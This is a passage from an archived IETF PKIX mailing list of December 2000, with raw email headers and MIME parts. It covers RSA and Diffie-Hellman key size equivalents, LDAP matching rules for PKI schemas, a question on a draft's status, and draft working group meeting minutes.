today.&nbsp;=20
Note also that these time only equivalents numbers are slightly smaller =
than=20
those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, =
6700=20
vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in =
Hilarie=20
Orman's Internet Draft (i.e. draft-orman-public-key-lengths-01.txt).</FONT>=
</P>
<P><FONT size=3D2>Shouldn't IETF standards mention these new "time and =
space"=20
based key size equivalents in addition to existing "time" only based key =
size=20
equivalents, and possibly even suggest that "time and space" based key =
size=20
equivalents be used for RSA and Diffie-Hellman?&nbsp; Why mandate =
larger=20
equivalent key sizes when smaller equivalent key sizes can probably=20
suffice?</FONT></P>
<P><FONT size=3D2>Food for thought!</FONT> </P>
<P><FONT size=3D2>Cheers,</FONT> </P>
<P><FONT size=3D2>Francois</FONT> <BR><FONT=20
size=3D2>___________________________________</FONT> <BR><FONT size=3D2>Fran=
cois=20
Rousseau</FONT> <BR><FONT size=3D2>Director of Standards and Conformance</F=
ONT>=20
<BR><FONT size=3D2>Chrysalis-ITS</FONT> <BR><FONT size=3D2>1688 Woodward=20=

Drive</FONT> <BR><FONT size=3D2>Ottawa, Ontario, CANADA, K2C 3R7</FONT> =
<BR><FONT=20
size=3D2>frousseau@chrysalis-its.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel. =
(613)=20
723-5076 ext. 419</FONT> <BR><FONT size=3D2><A target=3D_blank=20
href=3D"http://www.chrysalis-its.com">http://www.chrysalis-its.com</A>&nbsp=
;&nbsp;&nbsp;&nbsp;=20
Fax. (613) 723-5078</FONT> </P></BODY></HTML>

--=_2C77224E.31502339--


Received: from ns1.49thietf.org (ietf.207.137.80.5.tx.verio.net [207.137.80.5]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA29498 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 08:30:17 -0800 (PST)
Received: from salford.ac.uk ([207.137.72.219]) by ns1.49thietf.org (8.9.3+Sun/8.9.3) with ESMTP id IAA09075; Thu, 14 Dec 2000 08:33:04 -0800 (PST)
Message-ID: <3A38F6C7.B2E0E0F5@salford.ac.uk>
Date: Thu, 14 Dec 2000 16:35:19 +0000
From: David Chadwick <d.w.chadwick@salford.ac.uk>
Organization: University of Salford
X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: PKIX <ietf-pkix@imc.org>, "OSI X.500" <osidirectory@az05.bull.com>
Subject: Matching rules for LDAP
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms26BA014E715AD9519BE58B07"

This is a cryptographically signed message in MIME format.

--------------ms26BA014E715AD9519BE58B07
Content-Type: multipart/mixed;
 boundary="------------1EEF859821069F91D1C8C3E1"

This is a multi-part message in MIME format.
--------------1EEF859821069F91D1C8C3E1
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

At the PKIX meeting yesterday there was insufficient time to go through
all the proposed agenda items. One topic that fell off the bottom was
new LDAP schema for PKIs and PMIs. I had prepared a presentation listing
a number of topics that need to be resolved, so I reproduce these here
below, so that we can get some discussion of them on the list.

Should we separate the PKI schema from the PMI schema and create two
separate IDs.

We Need OID allocations from the LDAPEXT group (this is not so much an
issue as "job to be done")

Do we need the full richness of the X.500 matching rules or can we use a
subset of them
e.g. can we use name constraints based on whole subtrees rather than on
chopped subtrees

Do we need to add matching rules for cross certificates and/or S/MIME
certificates

A bug was found in X.509 (the attribute certificate syntax and the exact
match syntax are different). Have the X.509 group fixed the ASN.1 for
Geneva? And has new text been added as well. (Maybe Sharon can advise on
this)

Should we allow LDAP attribute names to be used instead of OIDs to
reference attributes in attribute certificate matching

X.509 has used different matching methods for PKIs and PMIs. PKI has one
complex flexible matching rule holding most standard extensions. PMI has
a separate matching rules for each extension. Do we want to use the
X.509 method or alternatively use the same method for both PKIs and
PMIs. Personnally I think X.509 got it wrong here, and should have
devised separate matching rules for each extension for both PKIs and
PMIs. Then when new extensions are defined, new LDAP matching rules can
be defined to go with them.

How many extension matching rules should we define for PMIs.
none, the most popular ones (which are they), or all?

This should give folks enough to think about whilst I take the plane
home later today

David


-- 
*****************************************************************

David Chadwick, BSc PhD
Post: IS Institute, University of Salford, Salford M5 4WT
Tel: +44 161 295 5351  Fax +44 161 745 8169
Mobile: +44 790 167 0359
Email: D.W.Chadwick@salford.ac.uk
Home Page:  http://www.salford.ac.uk/its024/chadwick.htm
Research Projects: http://sec.isi.salford.ac.uk
Understanding X.500:  http://www.salford.ac.uk/its024/X500.htm
X.500/LDAP Seminars: http://www.salford.ac.uk/its024/seminars.htm
Entrust key validation string: MLJ9-DU5T-HV8J

*****************************************************************
--------------1EEF859821069F91D1C8C3E1
Content-Type: text/x-vcard; charset=us-ascii;
 name="d.w.chadwick.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for David Chadwick
Content-Disposition: attachment;
 filename="d.w.chadwick.vcf"

begin:vcard 
n:Chadwick;David
tel;fax:+44 1484 532930
tel;home:+44 790 167 0359
tel;work:+44 161 295 5351
x-mozilla-html:FALSE
adr:;;;;;;
version:2.1
email;internet:d.w.chadwick@salford.ac.uk
x-mozilla-cpt:;-16144
fn:David Chadwick
end:vcard

--------------1EEF859821069F91D1C8C3E1--

--------------ms26BA014E715AD9519BE58B07
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIEvwYJKoZIhvcNAQcCoIIEsDCCBKwCAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
AxcwggMTMIICfKADAgECAgEfMA0GCSqGSIb3DQEBBAUAMEkxDzANBgNVBAcTBkV1cm9wZTEQ
MA4GA1UEChMHSUNFLUNBUjEkMCIGA1UECxMbQXV0aGVudGljYXRpb24gQ2VydGlmaWNhdGVz
MB4XDTk5MDkzMDEyMTExMVoXDTAwMTIzMDAwMDAwMFowezELMAkGA1UEBhMCR0IxHjAcBgNV
BAoTFVVuaXZlcnNpdHkgb2YgU2FsZm9yZDEhMB8GA1UEAxMYRHIgRGF2aWQgV2FsdGVyIENo
YWR3aWNrMSkwJwYJKoZIhvcNAQkBFhpkLncuY2hhZHdpY2tAc2FsZm9yZC5hYy51azCBnzAN
BgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEAnIfPtbcLPwxO+2KPpVtB5s41FSFfWVJ7SPIcWXPQ
Q0twP0ELmu0YDyO/mzcobKSlmAy41FCytifLWPLaUQR+y4JuTkfyWTN5qTGQrGYTxVYaXr4u
AcdG5CLa95H3UM9yjPxSoMrO4UdZo88fmmkW1r5MXj8eUfnbLCRP35nxqusCAwEAAaOB2DCB
1TBDBgNVHSMEPDA6oTWCM09VPUF1dGhlbnRpY2F0aW9uIENlcnRpZmljYXRlcywgTz1JQ0Ut
Q0FSLCBMPUV1cm9wZYIBADAdBgNVHQ4EFgQUu7E9QyYiHlmvKfB7Ru3luLnZjgYwDgYDVR0P
AQH/BAQDAgTwMAwGA1UdEwEB/wQCMAAwEQYJYIZIAYb4QgEBBAQDAgCgMD4GCWCGSAGG+EIB
DQQxFi9JQ0UtQ0FSIGF1dGhlbnRpY2F0aW9uIGNlcnRpZmljYXRlCihjKSBHTUQgMTk5ODAN
BgkqhkiG9w0BAQQFAAOBgQBtP3vNSltv/Ds4cQgL9SbcWZL8l+eVXvIpHMNSbnKwjXbGHVPN
4Vi0ymXqrtGt9C2bbSPVfTyeLSQFbBCkHCPqX+AtWHTkRzL3z6QaOXjf9H3eyCoaUGh7Seuw
UnKiWLWUPpSolCHDACfzal883VaJXLTyXEmR/WgWWes2Oy8W7jGCAXAwggFsAgEBME4wSTEP
MA0GA1UEBxMGRXVyb3BlMRAwDgYDVQQKEwdJQ0UtQ0FSMSQwIgYDVQQLExtBdXRoZW50aWNh
dGlvbiBDZXJ0aWZpY2F0ZXMCAR8wCQYFKw4DAhoFAKB6MBgGCSqGSIb3DQEJAzELBgkqhkiG
9w0BBwEwGwYJKoZIhvcNAQkPMQ4wDDAKBggqhkiG9w0DBzAcBgkqhkiG9w0BCQUxDxcNMDAx
MjE0MTYzNTE5WjAjBgkqhkiG9w0BCQQxFgQUuxblfRkaOzJKQCUK3M3q/Htjp5wwDQYJKoZI
hvcNAQEBBQAEgYAb8LRWydW/mGFvADy03Q63nGymx8vJXvqx61/UkuDQQmMg3cVvlpdccsWQ
hKRj8kDKJTrXTxlvrSt2ZN++cEsFC3ldxSSkG346Rez1zgQQdra6pEvsXLeVjnzj9L+Qfg0P
7x8HfMKt8aoKe8qeobTLbI/96CnP+S1zG2Xy4ip/ng==
--------------ms26BA014E715AD9519BE58B07--



Received: from localhost.localdomain ([206.48.156.90]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id FAA16619 for <ietf-pkix@imc.org>; Thu, 14 Dec 2000 05:52:37 -0800 (PST)
Received: from jperez ([192.168.4.178]) by localhost.localdomain (8.9.3/8.9.3) with SMTP id KAA00857; Thu, 14 Dec 2000 10:52:51 -0500
Reply-To: <juancarlos.perez@acepta.com>
From: =?iso-8859-1?Q?Juan_Carlos_P=E9rez_Aguayo?= <juancarlos.perez@acepta.com>
To: "Denis. Pinkas" <Denis.Pinkas@bull.net>
Cc: "Ietf-Pkix" <ietf-pkix@imc.org>
Subject: Which is the Permanent Identifier draft's current status ?
Date: Thu, 14 Dec 2000 10:53:13 -0400
Message-ID: <OMEPKMCLOLGHNMNOJKKIEECNCCAA.juancarlos.perez@acepta.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

On the PKIX WG Agenda at San Diego Meeting, I was reading about "Permanet
Identifier " :

"...This document is stable and ready for progression to RFC status.
This discussion will center on the strategy for progressing this
document..."

What happened with this discussion and which is the draft's current status?

best regards

Juan Carlos



Received: from ntserver2.chrysalis-its.com ([209.47.245.163]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id VAA08330; Wed, 13 Dec 2000 21:34:01 -0800 (PST)
From: FRousseau@chrysalis-its.com
Received: by NTSERVER2 with Internet Mail Service (5.5.2650.21) id <XXCGYLMZ>; Thu, 14 Dec 2000 00:36:44 -0500
Message-ID: <918C70B01822D411A87400B0D0204DFFAD7CE6@panda.chrysalis-its.com>
To: ietf-smime@imc.org, ipsec@lists.tislabs.com, ietf-tls@lists.certicom.com
Cc: ietf-pkix@imc.org
Subject: New Time and Space Based Key Size Equivalents for RSA and Diffie- Hellman
Date: Thu, 14 Dec 2000 00:36:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C0658F.D7D4218A"

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0658F.D7D4218A
Content-Type: text/plain;
	charset="iso-8859-1"

I am sorry for the multiple postings, but I thought this particular subject,
although probably quite controversial, might be of interest to the many
peoples following these mailing lists, especially because of the upcoming
adoption of the AES algorithm by many IETF protocols.

As symmetric keys grow, they can be attacked by more processors without a
change in processor technology since the memory requirements for breaking
symmetric keys remain trivial.  However, for the Number Field Sieve (NFS)
algorithm, which is currently the most efficient method to break RSA keys,
this is not true.  Based on this premise, the "time and space" based RSA key
size equivalents previously published in the RSA Labs Bulletin #13 of April
2000 by Robert Silverman (http://www.rsalabs.com/bulletins/) have recently
been extended to cover all the AES symmetric key sizes in the latest draft
of ANSI X9.44, which will eventually become the ANSI standard for RSA key
transport:

			Time and Space
Symmetric		Equivalent
Key Size		RSA Key Size
(in bits)		(in bits)

64			450
128			1620
192			2500
256			4200

These "time and space" based key sizes equivalents assume that both time and
memory are binding constraints in order to break RSA keys.  This same draft
also indicates that beyond RSA key sizes of 768 bits one can no longer
effectively utilize 32-bit processors with the NFS algorithm because the
required memory exceeds what can be addressed in 32 bits; one is forced to
use 64-bit machines.  Beyond RSA key sizes of about 2500 bits, the memory
requirements for the NFS algorithm exceed what can be addressed even on 64
bit machines.

For your information, here are also the estimated "time" only based RSA key
size equivalents for solving the NFS problem from the same ANSI draft:

			Time Only
Symmetric		Equivalent
Key Size		RSA Key Size
(in bits)		(in bits)

64			512
128			2550
192			6700
256			13500

Note that either of these sets of RSA key size equivalents could be used
with Diffie-Hellman for solving the value of "p" since the NFS algorithm is
also the most efficient method to break Diffie-Hellman algorithm today.
Note also that these time only equivalents numbers are slightly smaller than
those from ANSI X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits,
6700 vs 7680 for 192 bits and 13500 vs 15360 for 256 bits) and the numbers
in Hilarie Orman's Internet Draft (i.e.
draft-orman-public-key-lengths-01.txt).

Shouldn't IETF standards mention these new "time and space" based key size
equivalents in addition to existing "time" only based key size equivalents,
and possibly even suggest that "time and space" based key size equivalents
be used for RSA and Diffie-Hellman?  Why mandate larger equivalent key sizes
when smaller equivalent key sizes can probably suffice?

Food for thought!

Cheers,

Francois
___________________________________
Francois Rousseau
Director of Standards and Conformance
Chrysalis-ITS
1688 Woodward Drive
Ottawa, Ontario, CANADA, K2C 3R7
frousseau@chrysalis-its.com      Tel. (613) 723-5076 ext. 419
http://www.chrysalis-its.com     Fax. (613) 723-5078

------_=_NextPart_001_01C0658F.D7D4218A
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<META NAME=3D"Generator" CONTENT=3D"MS Exchange Server version =
5.5.2650.12">
<TITLE>New Time and Space Based Key Size Equivalents for RSA and =
Diffie-Hellman</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=3D2>I am sorry for the multiple postings, but I thought =
this particular subject, although probably quite controversial, might =
be of interest to the many peoples following these mailing lists, =
especially because of the upcoming adoption of the AES algorithm by =
many IETF protocols.</FONT></P>

<P><FONT SIZE=3D2>As symmetric keys grow, they can be attacked by more =
processors without a change in processor technology since the memory =
requirements for breaking symmetric keys remain trivial.&nbsp; However, =
for the Number Field Sieve (NFS) algorithm, which is currently the most =
efficient method to break RSA keys, this is not true.&nbsp; Based on =
this premise, the &quot;time and space&quot; based RSA key size =
equivalents previously published in the RSA Labs Bulletin #13 of April =
2000 by Robert Silverman (<A HREF=3D"http://www.rsalabs.com/bulletins/" =
TARGET=3D"_blank">http://www.rsalabs.com/bulletins/</A>) have recently =
been extended to cover all the AES symmetric key sizes in the latest =
draft of ANSI X9.44, which will eventually become the ANSI standard for =
RSA key transport:</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>Time and =
Space</FONT>
<BR><FONT SIZE=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT>
<BR><FONT SIZE=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT>
<BR><FONT SIZE=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT>
</P>

<P><FONT SIZE=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 450</FONT>
<BR><FONT SIZE=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1620</FONT>
<BR><FONT SIZE=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2500</FONT>
<BR><FONT SIZE=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4200</FONT>
</P>

<P><FONT SIZE=3D2>These &quot;time and space&quot; based key sizes =
equivalents assume that both time and memory are binding constraints in =
order to break RSA keys.&nbsp; This same draft also indicates that =
beyond RSA key sizes of 768 bits one can no longer effectively utilize =
32-bit processors with the NFS algorithm because the required memory =
exceeds what can be addressed in 32 bits; one is forced to use 64-bit =
machines.&nbsp; Beyond RSA key sizes of about 2500 bits, the memory =
requirements for the NFS algorithm exceed what can be addressed even on =
64 bit machines.</FONT></P>

<P><FONT SIZE=3D2>For your information, here are also the estimated =
&quot;time&quot; only based RSA key size equivalents for solving the =
NFS problem from the same ANSI draft:</FONT></P>

<P>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <FONT SIZE=3D2>Time =
Only</FONT>
<BR><FONT SIZE=3D2>Symmetric&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Equivalent</FONT>
<BR><FONT SIZE=3D2>Key Size&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RSA Key Size</FONT>
<BR><FONT SIZE=3D2>(in bits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; (in bits)</FONT>
</P>

<P><FONT SIZE=3D2>64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 512</FONT>
<BR><FONT SIZE=3D2>128&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2550</FONT>
<BR><FONT SIZE=3D2>192&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6700</FONT>
<BR><FONT SIZE=3D2>256&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 13500</FONT>
</P>

<P><FONT SIZE=3D2>Note that either of these sets of RSA key size =
equivalents could be used with Diffie-Hellman for solving the value of =
&quot;p&quot; since the NFS algorithm is also the most efficient method =
to break Diffie-Hellman algorithm today.&nbsp; Note also that these =
time only equivalents numbers are slightly smaller than those from ANSI =
X9.42 for Diffie-Hellman (i.e. 2550 vs 3072 for 128 bits, 6700 vs 7680 =
for 192 bits and 13500 vs 15360 for 256 bits) and the numbers in =
Hilarie Orman's Internet Draft (i.e. =
draft-orman-public-key-lengths-01.txt).</FONT></P>

<P><FONT SIZE=3D2>Shouldn't IETF standards mention these new &quot;time =
and space&quot; based key size equivalents in addition to existing =
&quot;time&quot; only based key size equivalents, and possibly even =
suggest that &quot;time and space&quot; based key size equivalents be =
used for RSA and Diffie-Hellman?&nbsp; Why mandate larger equivalent =
key sizes when smaller equivalent key sizes can probably =
suffice?</FONT></P>

<P><FONT SIZE=3D2>Food for thought!</FONT>
</P>

<P><FONT SIZE=3D2>Cheers,</FONT>
</P>

<P><FONT SIZE=3D2>Francois</FONT>
<BR><FONT SIZE=3D2>___________________________________</FONT>
<BR><FONT SIZE=3D2>Francois Rousseau</FONT>
<BR><FONT SIZE=3D2>Director of Standards and Conformance</FONT>
<BR><FONT SIZE=3D2>Chrysalis-ITS</FONT>
<BR><FONT SIZE=3D2>1688 Woodward Drive</FONT>
<BR><FONT SIZE=3D2>Ottawa, Ontario, CANADA, K2C 3R7</FONT>
<BR><FONT =
SIZE=3D2>frousseau@chrysalis-its.com&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Tel. =
(613) 723-5076 ext. 419</FONT>
<BR><FONT SIZE=3D2><A HREF=3D"http://www.chrysalis-its.com" =
TARGET=3D"_blank">http://www.chrysalis-its.com</A>&nbsp;&nbsp;&nbsp;&nbs=
p; Fax. (613) 723-5078</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0658F.D7D4218A--


Received: from po1.bbn.com (PO1.BBN.COM [192.1.50.38]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id TAA04428 for <ietf-pkix@imc.org>; Wed, 13 Dec 2000 19:12:57 -0800 (PST)
Received: from [128.33.238.40] (TC040.BBN.COM [128.33.238.40]) by po1.bbn.com (8.9.1/8.9.1) with ESMTP id WAA03211; Wed, 13 Dec 2000 22:12:24 -0500 (EST)
Mime-Version: 1.0
X-Sender: kent@po1.bbn.com (Unverified)
Message-Id: <v04220800b65de39becc7@[128.33.238.91]>
Date: Wed, 13 Dec 2000 22:03:01 -0500
To: ietf-pkix <ietf-pkix@imc.org>
From: Stephen Kent <kent@bbn.com>
Subject: meeting minutes
Cc: jis@mit.edu
Content-Type: multipart/alternative; boundary="============_-1235358777==_ma============"

--============_-1235358777==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Folks,

Here are the draft meeting minutes from PKIX.  Please reply with 
corrections by 12/31. Pardon the text alignment problems in this 
version.  The final version will fix those problems.

Also, all speakers who would like their slides included in the IETF 
archive for this meeting should e-mail them to me (as power point 
files) over the next 2 weeks.

Thanks,

Steve
----------------------------------------------------------------------
PKIX WG Meeting 12/12-13/00
Edited by Steve Kent (WG co-chairs)

The PKIX WG met twice during the 48th IETF. A total of approximately 
200 individuals participated in the first meeting, and about 150 in 
the second.

Day 1 (12/12/00)

Tim quickly reviewed the agenda and document status, noting that 
there are 20  I-Ds in progress. (see slides)

Qualified Certificates Profile - Stefan Santesson (Addtrust)
       This document has been approved as a Standards track RFC and
       is currently in the editors queue.  Stefan briefly discussed the
       status of the corresponding ETSI specification that refers to this RFC.
In a new item, Stefan briefly discussed the idea of a new extension 
that could be used to refer (with integrity) to corporate logos for 
subjects and issuers, as an aid to users when they display 
certificates. Steve Kent expressed some concern that such graphics 
might undermine the security offered by the name constraints 
extension, IF a CA accidentally or maliciously binds a logo to a name 
which is not really related to the name.

Attribute Certificate Profile - Steve Farrell (Baltimore)
       This document has been through working group Last Call and is
currently under Area Director Review.  Steve described the status of 
this document, including changes made as a consequence of Last Call. 
Denis alluded to a problem in the base ISO spec which has been 
inherited by the PKIX document.

Data Validation and Certification Server - Carlisle Adams (Entrust)
       This document has been approved as a Experimental
       track RFC and is currently in the editing queue.

Time Stamp Protocols (TSP) - Denis Pinkas (Bull)
       This document has been through working group Last Call and is
       currently under Area Director Review.  Denis described the changes
made to the TSP specification as a consequence of Last Call, and the 
creation of an appendix to specify the SIA extension. This appendix 
is a temporary one, and the SIA extension will later be moved to RFC 
2459bis, when then document is issued. ETSI will work on a TSP 
security policy document, analogous to one ETSi is working on for CA 
security policy. Denis offers to initiate further work, to specify a 
set of standard TSA policies. This would require a mod to the current 
PKIX charter.

Permanent Identifier - Denis Pinkas (Bull)
       This document is stable and ready for progression as an RFC.
The question before the WG is what status should be attached to the 
document, i.e., standards track, informational, or experimental? A 
quick poll of attendees suggests support for standards track, but 
since the number of folks who claim familiarity with the document was 
small, we will bring this to the list for a straw poll for final 
resolution. Bob Moskowitz cited a potential problem with current CA 
implementations, if one tried to request a certificate with a new 
name, signing the request with a key bound to a certificate with a 
different name.

Technical Non-Repudiation - Tom Gindin (IBM)
       This document is ready to proceed as an Informational track
specification. Denis presented a few slides raising issues that he 
feels need to be addressed prior to publication as information. For 
example, he notes that ETSI has a standard for 1-way NR which is 
viewed as sufficient for legal NR purposes, not consistent with this 
draft. Denis will correspond with Tom to resolve this and related 
issues.

Delegated Path Validation & Discovery Services - Steve Kent (BBN)
       The working group has been presented with two alternative
Proposals: Simple Certificate Validation Protocol (SCVP) and 
extensions to OCSP (v2) for Delegated path Discovery and Validation. 
Steve Kent presented a proposed set of criteria, and associated 
rationales, for use in evaluating these competing proposals. Steve 
will follow up with an extended message on the topic to the mailing 
list, to establish consensus for selection criteria.


Day 2 (12/13/00)


CMP/CRMF Interoperability Results - Bob Moskowitz (ICSA Labs)
       Bob has been organizing interoperability testing for CRMF/CMP
       Implementations.  This testing will support the progression of CMP
and CRMF to Draft standard. Bob discussed results of recent test 
activities, which are leading to an interoperability test report.

Certificate Management Protocol (CMP) - Carlisle Adams (Entrust)
	This document incorporates clarifications to RFC 2510.  These
       changes are proposed as a result of interoperability testing.
This specification is ready for Last Call and progression of CMP to 
Draft Standard. The editors believe that the changes made from the 
previous version are minor and thus the document should progress to 
DRAFT standard.

Certificate Request Message Format (CRMF) - Carlisle Adams (Entrust)
	This document incorporates clarifications to RFC 2511.  These
       changes are proposed as a result of interoperability testing.
       This specification is now ready for Last Call and progression
of CRMF to Draft Standard.

Certificate and CRL Profile revisions - Russ Housley (SPYRUS)
       This document is the follow-up to RFC 2459.  A new draft of this
document has been published. The document is ready for Working Group 
Last Call, modulo a difference of opinion between X.509 and PKIX re 
name constraints. It is not clear whether we can achieve agreement 
with X.509 over this, or if we need to diverge. We set 2/14 as a 
"drop dead" date, i.e., either we reconcile with X.509 by then, OR we 
assign a distinct OID for the "PKIX name constraints extension." This 
date was chosen based on a planned X.509 meeting in late January. 
Since a number of changes have been made and since they are 
substantive, this document will be considered as a Proposed Standard.

  Public Key Algorithms and Identifiers - Russ Housley (SPYRUS)
       This document is a companion to the Certificate and CRL Profile.
       This specification contains the algorithm-specific information,
       such as OIDs and encoding information.  This specification is
       ready for WG Last Call and is expected to progress to Proposed
Standard with the Certificate and CRL Profile. Jim Schaad suggested 
that DSA/SHA-1 be mandated, with RSA/MD2 prohibited for new 
certificates. An attendee suggested that RSA should be mandated, 
based on existing deployment. Jeff Schiller noted that the SAAG 
argued for consistency among the major certificate client protocols: 
IPsec, S/MIME, and TLS. Steve Kent agreed to call for a straw poll on 
the PKIX list re this topic.

OCSPv2 - Michael Myers (VeriSign)
	This document incorporates clarifications and enhancements to
RFC 2560, plus DPD & DPV extensions. A major issue is whether we 
should progress this document to DRAFT, or make changes, specifically 
to the certificate ID mechanism, to cycle at proposed. Mike described 
the proposed new certificate ID forms; the WG needs to decide if 
support for all of these forms is appropriate. For example, an 
attendee noted that issuer name and serial number works even if the 
server is CRL driven, but certificate hash is not derivable from a 
CRL. Thus support for some forms of certificate IDs implies server 
database capabilities that must be explicitly defined and agreed 
upon. Another attendee raised concerns that the status response (a 
CHOICE today) may be overloaded when one tries to encompass path 
validation, vs. validation of individual certificates. Steve Kent 
noted that processing the DPD and DPV extensions represents 
substantial new functionality and complexity to an OCSP v1 server, so 
that it is not appropriate to characterize the complexity of these 
new extensions purely in terms of their (minimal) syntax.

Comments on OCSPv2 - Denis Pinkas (Bull)
Denis agreed that there is a need to revise OCSP, for several minor 
but important editorial reasons, but he argues that while there are 
deficiencies in the certificate ID in v1, but that existing OCSP 
clients do find the certificate ID facility adequate for the simple 
purpose of revocation status checking. The major motivation for 
expanding the certificate ID types is to support extensions such as 
DPV or DPD. He suggested that we revise OCSP, but only to add an 
ASN.1 module OID, re-specify a mandatory algorithm, and to clarify 
the status returned, not to support extensions such as DPD and DPV.

Comments on OCSPv2 - Ambarish Malpani (ValiCert)
Ambarish notes that there are at least 11 independent implementations 
of OCSP v1, many users, etc. For the original, intended purpose, he 
argues that the current deployment success attests to the adequacy of 
the current spec. He noted that the use model assumes that the client 
has all of the certificates in a chain and thus the limitations on 
certificate IDs are not severe, although he admitted the design could 
have been better in this regard.

PKIX Roadmap - Sean Turner (IECA)
       This document provides an overview or "roadmap" of the work
       done by the IETF PKIX working group. It defines common terms,
       describes basic theory behind PKI, and provides an overview of
       PKIX documents and the relationships between them.  This document
is now fairly stable; the editor and WG chairs agree to execute WG 
last call, for this to become an informational RFC.

Operational Protocols, LDAPv3 - David Chadwick (Univ. of Salford)
       This document is the LDAPv3 analog of RFC 2559.  This document
       describes the features of LDAPv3 that are essential, or not
       required, or are optional for servers to support a PKI based
on X.509. David reviewed the mandatory, recommended and not 
recommended, aspects of the profile.

CP/CPS Framework - Tim Polk (on behalf of Santosh Chokhani, Cygnacom)
       An ad hoc group of PKIX and ABA members has been working on
